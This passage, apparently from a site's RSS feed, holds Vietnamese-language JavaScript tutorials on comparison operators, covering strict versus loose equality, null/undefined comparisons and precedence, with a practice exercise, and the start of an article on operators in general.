0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh bằng nghiêm ngặt</h2> <p>Đối với toán tử so sánh bằng "nghiêm ngặt", JavaScript sẽ không thực hiện chuyển đổi kiểu dữ liệu.</p> <p>Nói cách khác, hai giá trị <strong>khác kiểu dữ liệu</strong> thì luôn khác nhau, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// So sánh bằng không nghiêm ngặt</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">""</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token comment">// So sánh bằng nghiêm ngặt</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">""</span> <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></span></code></pre></div> <p>Tương tự với so sánh bằng nghiêm ngặt, JavaScript cũng có <strong>so sánh khác nghiêm ngặt</strong>, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// So sánh khác không nghiêm ngặt</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">""</span> <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> <span class="token comment">// So sánh khác nghiêm ngặt</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">""</span> <span class="token operator">!==</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></span></code></pre></div> <blockquote> <p>💡 Để tránh mắc phải những lỗi sai ngớ ngẩn khi so sánh trong JavaScript, bạn nên sử dụng toán tử so sánh bằng "nghiêm ngặt" <code>===</code> và toán tử so sánh khác "nghiêm ngặt" <code>!==</code>.</p> </blockquote> <h2 id="so-sánh-với-null-và-undefined" style="position:relative;"><a href="#so-s%C3%A1nh-v%E1%BB%9Bi-null-v%C3%A0-undefined" aria-label="so sánh với null và undefined permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh với <code>null</code> và <code>undefined</code></h2> <p>Khác với các kiểu dữ liệu khác, việc so sánh <code>null</code> và <code>undefined</code> thường không rõ ràng cho lắm.</p> <p>Khi sử dụng toán tử so sánh bằng "nghiêm ngặt" <code>===</code> thì dĩ nhiên là hai giá trị này khác nhau. Vì chúng khác kiểu dữ liệu.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">===</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Nhưng khi sử dụng toán tử so sánh bằng "không nghiêm ngặt" <code>==</code> thì kết quả lại là <code>true</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">==</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <blockquote> <p>Thực tế, JavaScript đã quy định <code>null</code> và <code>undefined</code> là bằng nhau (với trường hợp <code>==</code>). Và chúng không bằng (<code>==</code>) các giá trị khác.</p> </blockquote> <p><strong>Khi sử dụng các toán tử so sánh <code>></code>, <code>&#x3C;</code>, <code>>=</code> và <code>&#x3C;=</code> thì sao?</strong></p> <p>Hai giá trị này sẽ được chuyển sang dạng số. Cụ thể <code>null</code> chuyển thành <code>0</code> và <code>undefined</code> chuyển thành <code>NaN</code>.</p> <p>Khi sử dụng các toán tử so sánh <code>></code>, <code>&#x3C;</code>, <code>>=</code> và <code>&#x3C;=</code> với <code>null</code> và <code>undefined</code> thì kết quả đều <code>false</code> hết.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">></span> <span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">&lt;</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">>=</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">&lt;=</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Bây giờ, mình thử so sánh hai giá trị này với số <code>0</code> xem có gì kỳ lạ không nào!</p> <p><strong>So sánh <code>null</code> với 0</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false (1)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">>=</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true (2)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false (3)</span></code></pre></div> <p>Trong các phép so sánh (1), (2), <code>null</code> chuyển thành số <code>0</code> nên ta có đáp án lần lượt là <code>false</code> và <code>true</code>. Nhưng ở phép so sánh (3), <code>null</code> không chuyển thành <code>0</code> nên kết quả là <code>false</code>.</p> <blockquote> <p>Đây lại là một điều khá "phi logic". Vì theo kết quả trên thì <code>null</code> lớn hơn hoặc bằng 0 (sử dụng <code>>=</code>), nhưng lại không bằng 0 (sử dụng <code>==</code>).</p> </blockquote> <p><strong>So sánh <code>undefined</code> với 0</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">undefined</span> <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false (1)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">undefined</span> <span class="token operator">>=</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false (2)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">undefined</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false (3)</span></code></pre></div> <p>Kết quả là <code>false</code> hết.</p> <p>Trong các phép so sánh (1) và (2), <code>undefined</code> chuyển thành <code>NaN</code> nên chắc chắn khác <code>0</code>. Trong khi phép so sánh (3), <code>undefined</code> không bằng (<code>==</code>) <code>0</code>. Vì như mình đã nói ở trên, <code>undefined</code> chỉ bằng (<code>==</code>) <code>null</code> mà thôi.</p> <blockquote> <p>💡 Để tránh những tình huống "phi logic" trên, bạn chỉ nên so sánh <code>null</code> hoặc <code>undefined</code> khi sử dụng toán tử so sánh bằng "nghiêm ngặt" (<code>===</code>) hoặc toán tử so sánh khác "nghiêm ngặt" (<code>!==</code>).</p> <p>Không nên sử dụng toán tử <code>></code>, <code>&#x3C;</code>, <code>>=</code> và <code>&#x3C;=</code> với <code>null</code> và <code>undefined</code>.</p> <p>Trường hợp một biến có thể <code>null</code> hoặc <code>undefined</code> thì bạn nên kiểm tra giá trị có bằng <code>null</code> hoặc <code>undefined</code> hay không để xử lý trước. Khi biến khác <code>null</code> và <code>undefined</code> rồi thì mới thực hiện so sánh với các toán tử <code>></code>, <code>&#x3C;</code>, <code>>=</code> và <code>&#x3C;=</code> sau.</p> </blockquote> <h2 id="thứ-tự-ưu-tiên-của-các-toán-tử-so-sánh" style="position:relative;"><a href="#th%E1%BB%A9-t%E1%BB%B1-%C6%B0u-ti%C3%AAn-c%E1%BB%A7a-c%C3%A1c-to%C3%A1n-t%E1%BB%AD-so-s%C3%A1nh" aria-label="thứ tự ưu tiên của các toán tử so sánh permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thứ tự ưu tiên của các toán tử so sánh</h2> <p>Các toán tử so sánh có <strong>thứ tự ưu tiên giống nhau</strong>. Khi trong biểu thức có nhiều toán tử so sánh, thứ tự thực hiện là <strong>từ trái sang phải</strong>.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">3</span> <span class="token operator">></span> <span class="token number">2</span> <span class="token operator">></span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Thoạt đầu nhìn qua, bạn sẽ thấy kết quả trên là vô lý phải không?</p> <p>Vì theo toán học thì chắc chắn số <code>3</code> lớn hơn số <code>2</code> và số <code>2</code> lớn hơn số <code>1</code>, nên kết quả (2) phải bằng <code>true</code> mới hợp lý.</p> <p>Nhưng nếu bạn áp dụng đúng <strong>quy tắc thứ tự ưu tiên</strong> vào đây, bạn sẽ thấy kết quả trên là <strong>hoàn toàn đúng</strong>.</p> <p>Vì JavaScript sẽ thực hiện so sánh hai số đầu tiên trước, <code>3 > 2</code> là đúng nên kết quả của phép so sánh này là <code>true</code>. Khi đó, mình có thể viết lại như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token boolean">true</span> <span class="token operator">></span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Rõ ràng, đây là phép so sánh <strong>hai kiểu dữ liệu khác nhau</strong>. Vì vậy, <code>true</code> được chuyển thành dạng số và bằng <code>1</code>. Mà <code>1 > 1</code> là <code>false</code>.</p> <p>Tóm lại, kết quả của phép so sánh trên là <code>false</code>.</p> <blockquote> <p>💡 Khi thực hiện tính toán, so sánh với các toán tử, bạn phải ghi nhớ thứ tự ưu tiên của các toán tử để biết chính xác thứ tự thực hiện của các phép toán.</p> <p>Trường hợp bạn không chắc chắn về thứ tự thực hiện, bạn nên sử dụng cặp dấu ngoặc đơn <code>(...)</code> (toán tử nhóm) để thực hiện phép toán một cách chính xác.</p> <p>Đoạn code trên có thể viết lại thành <code>console.log((3 > 2) > 1)</code>. Ở đây, mình đã nhóm <code>3 > 2</code> thành một nhóm, nên chắc chắn phép toán này thực hiện trước.</p> <p>Nếu muốn <code>2 > 1</code> thực hiện trước bạn viết lại thành <code>console.log(3 > (2 > 1))</code>. Kết quả của câu lệnh này là <code>true</code>.</p> </blockquote> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Sau đây là những kiến thức cơ bản cần nhớ về toán tử so sánh trong JavaScript:</p> <ul> <li><strong>Toán tử so sánh</strong> là toán tử hai ngôi dùng để so sánh giá trị của hai toán hạng với nhau. Và các toán tử so sánh trong JavaScript bao gồm: <ul> <li>Toán tử so sánh lớn hơn <code>></code> và toán tử so sánh nhỏ hơn <code>&#x3C;</code>.</li> <li>Toán tử so sánh lớn hơn hoặc bằng <code>>=</code> và toán tử so sánh nhỏ hơn hoặc bằng <code>&#x3C;=</code>.</li> <li>Toán tử so sánh bằng "không nghiêm ngặt" <code>==</code> và toán tử so sánh bằng "nghiêm ngặt" <code>===</code>.</li> <li>Toán tử so sánh khác "không nghiêm ngặt" <code>!=</code> và toán tử so sánh khác "nghiêm ngặt" <code>!==</code>.</li> </ul> </li> <li>Kết quả của phép so sánh là giá trị kiểu boolean.</li> <li>Khi so sánh string, JavaScript thực hiện so sánh từng kí tự từ trái sang phải.</li> <li>Khi so sánh các giá trị với kiểu dữ liệu khác nhau, JavaScript chuyển các giá trị đó thành dạng số (trừ trường hợp so sánh với toán tử bằng "nghiêm ngặt" <code>===</code> và toán tử khác "nghiêm ngặt" <code>!==</code>).</li> <li>Hai giá trị <code>null</code> và <code>undefined</code> bằng nhau (khi sử dụng toán tử <code>==</code>) và luôn khác các giá trị còn lại.</li> <li>Không nên sử dụng toán tử <code>></code>, <code>&#x3C;</code>, <code>>=</code> và <code>&#x3C;=</code> với <code>null</code> và <code>undefined</code>. Nếu các biến có thể bằng <code>null</code> hoặc <code>undefined</code> thì bạn nên kiểm tra giá trị có bằng <code>null</code> hoặc <code>undefined</code> hay không để xử lý trước. Khi biến khác <code>null</code> và <code>undefined</code> rồi thì mới thực hiện so sánh với các toán tử <code>></code>, <code>&#x3C;</code>, <code>>=</code> và <code>&#x3C;=</code> sau.</li> <li>Thứ tự ưu tiên của các toán tử so sánh là giống nhau. Nếu trong câu lệnh có nhiều toán tử so sánh thì thứ tự thực hiện là <strong>từ trái sang phải</strong>.</li> </ul> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <p>Kết quả của các phép so sánh sau là gì?</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">15</span> <span class="token operator">></span> <span class="token number">9</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (1)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"no"</span> <span class="token operator">&lt;=</span> <span class="token string">"none"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"3"</span> <span class="token operator">>=</span> <span class="token string">"24"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (3)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"3"</span> <span class="token operator">></span> <span class="token number">24</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (4)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">&lt;</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (5)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">undefined</span> <span class="token operator">==</span> <span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (6)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">undefined</span> <span class="token operator">===</span> <span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (7)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">==</span> <span class="token string">"\n0\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (8)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">===</span> <span class="token operator">+</span><span class="token string">"\n0\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (9)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">></span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (10)</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">15</span> <span class="token operator">></span> <span class="token number">9</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"no"</span> <span class="token operator">&lt;=</span> <span class="token string">"none"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"3"</span> <span class="token operator">>=</span> <span class="token string">"24"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"3"</span> <span class="token operator">></span> <span class="token number">24</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">&lt;</span> <span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">undefined</span> <span class="token operator">==</span> <span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">undefined</span> <span class="token operator">===</span> <span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">==</span> <span class="token string">"\n0\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">===</span> <span class="token operator">+</span><span class="token string">"\n0\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">null</span> <span class="token operator">>=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Giải thích:</p> <ol> <li>Hiển nhiên số <code>15</code> lớn hơn số <code>9</code>.</li> <li>Đây là so sánh hai string. Quy trình là so sánh kí tự lần lượt từ trái sang phải. Thành phần <code>"no"</code> giống nhau. Suy ra <code>"none"</code> lớn hơn <code>"no"</code> vì <code>"none"</code> nhiều kí tự hơn.</li> <li>Đây cũng là so sánh hai string. Kí tự đầu tiên <code>"3"</code> lớn hơn kí tự <code>"2"</code> nên suy ra <code>"3"</code> lớn hơn <code>"24"</code>.</li> <li>Đây là so sánh hai kiểu dữ liệu khác nhau. Do đó, string <code>"3"</code> sẽ chuyển thành số <code>3</code>. Hiển nhiên số <code>3</code> nhỏ hơn số <code>24</code>.</li> <li>Hai giá trị <code>null</code> và <code>undefined</code> chỉ bằng nhau khi sử dụng toán tử <code>==</code>. Còn lại sẽ khác nhau và khác các giá trị khác. Nên kết quả là <code>false</code>.</li> <li>Giải thích tương tự như (5).</li> <li>Giải thích tương tự như (5).</li> <li>Giải thích tương tự như (5).</li> <li>Giải thích tương tự như (5).</li> <li>Khi sử dụng toán tử <code>></code> giữa <code>null</code> và một số, giá trị <code>null</code> sẽ chuyển thành dạng số và bằng số <code>0</code>. Mà hiển nhiên, số <code>0</code> sẽ lớn hơn số <code>-1</code>. Vì vậy, đáp án là <code>true</code>.</li> </ol> </div> </div> </div>[email protected]<![CDATA[Toán tử là gì? Các toán tử trong JavaScript]]><![CDATA[Trong toán học, bạn đã biết về các toán tử cơ bản như: cộng (+), trừ (-), nhân (*) và chia (/),... Trong JavaScript cũng có những toán tử như vậy và thêm nhiều toán tử khác nữa…]]>https://completejavascript.com/toan-tu-la-gi-toan-tu-trong-javascript/https://completejavascript.com/toan-tu-la-gi-toan-tu-trong-javascript/<![CDATA[Toán tử]]>Wed, 03 May 2017 20:00:00 GMT<p>Trong toán học, bạn đã biết về các toán tử cơ bản như: cộng (<code>+</code>), trừ (<code>-</code>), nhân (<code>*</code>) và chia (<code>/</code>),... Trong JavaScript cũng có những toán tử như vậy và thêm nhiều toán tử khác nữa. Sau đây, mình sẽ cùng tìm hiểu xem toán tử là gì, các toán tử trong JavaScript và thứ tự ưu tiên của các toán tử trong JS.</p> <h2 id="toán-tử-là-gì" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-l%C3%A0-g%C3%AC" aria-label="toán tử là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử là gì?</h2> <p><strong>Toán tử</strong> là một công cụ để thao tác với dữ liệu. Khi đó, đối tượng mà toán tử thao tác đến gọi là <strong>toán hạng</strong>. Tùy thuộc vào số lượng <strong>toán hạng</strong> mà JavaScript chia ra thành:</p> <ul> <li>Toán tử một ngôi (<strong>unary</strong>): có một toán hạng</li> <li>Toán tử hai ngôi (<strong>binary</strong>): có hai toán hạng</li> <li>Toán tử ba ngôi (<strong>ternary</strong>): có ba toán hạng</li> <li>Toán tử đa ngôi (<strong>n-ary</strong>): có trên ba toán hạng</li> </ul> <h2 id="các-toán-tử-javascript" style="position:relative;"><a href="#c%C3%A1c-to%C3%A1n-t%E1%BB%AD-javascript" aria-label="các toán tử javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các toán tử JavaScript</h2> <p>Nếu chia theo chức năng thì JavaScript có các loại toán tử cơ bản sau đây:</p> <ul> <li>Toán tử số học</li> <li>Toán tử gán</li> <li>Toán tử bitwise</li> <li>Toán tử dấu phẩy</li> <li><a href="/toan-tu-so-sanh-trong-javascript/">Toán tử so sánh</a></li> <li><a href="/toan-tu-logic-trong-javascript/">Toán tử logic</a></li> <li><a href="/cau-truc-re-nhanh-trong-javascript/">Toán tử điều kiện rẽ nhánh <code>?:</code></a></li> <li><a href="/toan-tu-nullish-coalescing-trong-javascript/">Toán tử "Nullish Coalescing" <code>??</code></a></li> </ul> <p>Để tìm hiểu hết về những loại toán tử này, mình sẽ chia thành các bài viết khác nhau. Bài này chủ yếu tập trung vào các toán tử dùng cho việc tính toán như: <strong>toán tử số học, toán tử gán, toán tử bitwise và toán tử dấu phẩy</strong>.</p> <h3 id="toán-tử-số-học" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-s%E1%BB%91-h%E1%BB%8Dc" aria-label="toán tử số học permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử số học</h3> <p>Toán tử số học là toán tử dùng để thực hiện các phép toán số học. Các toán tử số học trong JavaScript bao gồm:</p> <ul> <li>Toán tử cộng (<code>+</code>)</li> <li>Toán tử trừ (<code>-</code>)</li> <li>Toán tử nhân (<code>*</code>)</li> <li>Toán tử chia (<code>/</code>)</li> <li>Toán tử chia lấy dư (<code>%</code>)</li> <li>Toán tử lũy thừa (<code>**</code>)</li> </ul> <p>Vì là toán tử số học, nên toán hạng ứng với các toán tử này <strong>thường</strong> là <a href="/kieu-du-lieu-trong-javascript/">số</a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">5</span> <span class="token operator">+</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 7</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">5</span> <span class="token operator">-</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> console<span class="token 